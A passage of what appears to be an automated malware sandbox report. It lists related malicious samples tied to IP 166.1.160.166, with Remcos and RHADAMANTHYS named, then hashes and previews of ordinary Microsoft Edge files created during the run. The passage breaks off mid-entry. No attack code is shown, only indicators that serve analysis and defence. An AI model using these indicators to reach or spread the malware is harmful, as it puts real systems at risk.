74954a0c86284d0d6e1c4efefe92b521	aLsxeH29P2.exe	Get hash	malicious	Unknown	Browse	166.1.160.166
	c9a6BV0eQO.exe	Get hash	malicious	Unknown	Browse	166.1.160.166
	dYUteuvmHn.exe	Get hash	malicious	Unknown	Browse	166.1.160.166
	new.ini.ps1	Get hash	malicious	Unknown	Browse	166.1.160.166
	ALFq7XP17d.lnk	Get hash	malicious	Unknown	Browse	166.1.160.166
	kYGxoN4JVW.bat	Get hash	malicious	Unknown	Browse	166.1.160.166
	pn866G3CCj.lnk	Get hash	malicious	Unknown	Browse	166.1.160.166
	vZAhXkWkDT.lnk	Get hash	malicious	Unknown	Browse	166.1.160.166
	QsEn4Jw9pY.lnk	Get hash	malicious	Unknown	Browse	166.1.160.166
	ylNk78QlB8.lnk	Get hash	malicious	Unknown	Browse	166.1.160.166

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Installer\MSI8846.tmp	2Wr5r2e9vo.msi	Get hash	malicious	Unknown	Browse
	2Wr5r2e9vo.msi	Get hash	malicious	Unknown	Browse
	wE1inOhJA5.msi	Get hash	malicious	Remcos, RHADAMANTHYS	Browse
	wE1inOhJA5.msi	Get hash	malicious	Unknown	Browse
	EVp6NE5N9g.msi	Get hash	malicious	Unknown	Browse
	EVp6NE5N9g.msi	Get hash	malicious	Unknown	Browse
	aba5298f.msi	Get hash	malicious	Unknown	Browse
	aba5298f.msi	Get hash	malicious	Unknown	Browse
	fO7yt1oYdn.msi	Get hash	malicious	Unknown	Browse
	fO7yt1oYdn.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\287269d4-80b5-4350-bcc6-750fc59ac2cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090771016252016
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMBwuF9hDO6vP6O+mtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEh67tbz8hu3VlXr4CRo1
MD5:	1F859D7569FEC112F019BC047A020B5C
SHA1:	36750B60B2B17EC326F39606BD2652A5FDB54CD4
SHA-256:	D30568B1CC75F9EE41E8238AC5AE683C3FF6E2306455E45CAE5B1F9D8029D28F
SHA-512:	AE69A76B245A330F7688C16C531F159F3BEE0C16075ED50F034B24CA4C09FDC809C0A99956A7F55F757A5A7695DE1E198F64DC7905F2422D69FEDECD9CC3EE82
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\43d4a8ba-15d2-416b-9017-465268cd8ddc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44588
Entropy (8bit):	6.096226766939789
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB6wu+hDO6vP6O4u3bDFqrBcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEg6mchu3VlXr4CRo1
MD5:	16A7952B7909D50C77EDDC127FB18E3E
SHA1:	AFB821CE301943EE4F682789FF17EE03EEC4DA44
SHA-256:	55529FFA472F2A885938AC240E3E0FDB7AACCD83D67CEB0F511F150706EDC5CA
SHA-512:	A6CB7D42B5D08AEF5E8598F7AA804C7F547F298ECB0A840AC5F3CBF316025A1E56464F49062A7BB492AE4D6DDF4AE9363F1DA3A1C3E01F59649CDF2A75032A32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\4873195c-f7e6-43ca-9cf2-0c1af44d7496.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45802
Entropy (8bit):	6.089346705560756
Encrypted:	false
SSDEEP:	768:2MkbJrT8IeQc5d9kmUHhDO6vP6O4WIb9l4LEAZYNxoZ20+WCAowGoup1Xl3jVzXe:2Mk1rT8H19ke6PYNGU0XRowhu3VlXr4p
MD5:	71EE08BFC74B8ABA65E3DDE66631F6B7
SHA1:	A666FF5F04C2AA198A398990DEC5A07BAFE12DD7
SHA-256:	9EC30B861E9B0D15BF807DF734B39ECBC411AFE11B68BE7F7FE4C37529F41163
SHA-512:	BA3920156D4A6FB56A683C95D77A0C69C19FAA1EDECBB12232FBFE121E38D3E30FA03B1ACC79EDF57B95293566364A5B734465EDB2FA3DA6D3528F269B1AAC5D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\822f2bb2-529a-4f9b-aa5d-118460e4412f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45802
Entropy (8bit):	6.089325140369636
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQc5d9kmUHhDO6vP6O4WIb9l4LEAZYNxoZ20+WCAowGoup1Xl3jVzXe:mMk1rT8H19ke6PYNGU0XRowhu3VlXr4p
MD5:	3D18D173A45B996340BABA86E4106E38
SHA1:	5096B32AA2F5592F4FBDD7F77E81127789750BEA
SHA-256:	94154D48646B122D5EACC6B61C499380DBF5148497703695543080DBC56C2F55
SHA-512:	509882A2CC20757F52951809F7024853D08DBB49F0EDE5E7E2B526614639D5EAB7F693DE455D90DFEC4052B96DD31B4210E8D05403F5DFA0597F7AC3245627A4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\fdd18fb9-65ef-4759-ac95-e365fa5c05ac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-675AC464-1D18.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4179569681177333
Encrypted:	false
SSDEEP:	6144:LktYRcxS9kVKyaHbS0GQKD7K4qtcQxeSaH:OVKxTGV
MD5:	3AE9F141A9D93CECCBD4B465B6B166AC
SHA1:	4C5EBFD5946A4B15C6F2385A5DFC89313161FE84
SHA-256:	895E276D0DF6F213075B728C22AB9D469D1623B6075135E4A28EE5E3CDBFD421
SHA-512:	43C64E74ED0A708AEF75FD7EA1CA5E6049974A0D7583F503B6F0280D1942B0399B5AC39C084BC1AD07705AE5D62F1D5478B35E199C58FB6379D7D407C3F91A99
Malicious:	false
Preview:	...@..@...@.....C.].....@...............x..................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".sokukc20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K..>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.............. .2..........I.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\04f9b7c3-3678-46c3-a6a9-999295d33172.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12936
Entropy (8bit):	5.282928287717594
Encrypted:	false
SSDEEP:	384:st7PGKSuVs/OcfhQYcVabGIQx6WpaTYAQ:s9Oxuizf9ZbGXxdaTYAQ
MD5:	C06EB09A04AA4DE2D2650AD7F974D0D6
SHA1:	74C78F69C36410D8CD45D314C121DC8C303DD06E
SHA-256:	03D6178BD0EABCD5578A81A1977480DE19F9C934707E13CDA32F43BE247C2A70
SHA-512:	42063EE430468570478D1DAE5573F3242F63419AE1A4E4A7D5596AC3356214AF689CAB3FA2B14B398EF03AA79EB17E41B515C72AB8EB9D8BB5402F21E338DCC2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0b1ce6b9-a9a8-43b9-9663-97349b214ded.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567680308709128
Encrypted:	false
SSDEEP:	768:1h2L9zWP/Xf0r8F1+UoAYDCx9Tuqh0VfUC9xbog/OVH+/mCrwhpOtuJ:1h2L9zWP/Xf0ru1jaySmnGt6
MD5:	A5897372E6A91A4DE0088AED9941D7DD
SHA1:	D0CC7986570925132D9F08B3999AD931D6EC0B2E
SHA-256:	B3B53D527FB5CF08F86ADBEEE4B25FC922AF5799D50E29D1E5234A9F1702FDF5
SHA-512:	CF5BF4E47DF5651910C3F45D82E878CB53B1BA60658DBC02FD08EF4356EDCE429E2477C1312D23A3CDACB0CB3DBFCCDF7EBB75805E1582E2A4130AEC4D6282B7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378475364637223","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378475364637223","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\19b1d23b-ef30-494e-bf86-c4f183d067da.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13101
Entropy (8bit):	5.280489740866292
Encrypted:	false
SSDEEP:	384:st7PGKSuVs/OcfhQYcVabGIQx6WM0laTYAQ:s9Oxuizf9ZbGXxQ2aTYAQ
MD5:	D643DA303F4410E06997A7EAD3CF33AF
SHA1:	EA39C7A62DB3436662C9DCA3EB269E8ADE540D27
SHA-256:	D3705C0BFCBCD7B03CE7475A2B84183290BB1395128EFFE8396C504A850291A9
SHA-512:	895737739C27CDAE42AD04974E9842C04F16E67A62F2948EE68F8424E1F808E6282B0AA691FFD0AB9E094CF52C0F5FD2917B2BBA51C77029269B30ABF92C18AC
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\40414c85-1fa1-4e12-9265-ecda0dbb0edf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\47fa8e7b-6166-4329-b474-e80963fc6da5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9569
Entropy (8bit):	5.105402326314091
Encrypted:	false
SSDEEP:	192:st7kdmsqaSPcsZihUkY3z88bV+F2hQA66WpaFIMYA+PGYJ:st79s/OcfhsbGIQx6WpaTYAQ
MD5:	21BF644A4F0BF26F2EC202F7C24DA21F
SHA1:	AC934A5899E1373D2AA32257178162EA44DFD5C8
SHA-256:	EFD65D62DE58C8377CC9E2DFEA14CBC75050515354781104D549D1E0330D4C49
SHA-512:	B18439994395C44924EE72F0F5234023FA1C8FA4D3EBBBFF2D7F1E020AB1515EE3BAB75332862A6A3EBE8D4171E5D1DEDDF3E7DDC32DF22F5CB5279D486C5BC7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378475365308676","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\54e608fa-da04-4e53-b105-b10c152ee7fb.tmp

Download File

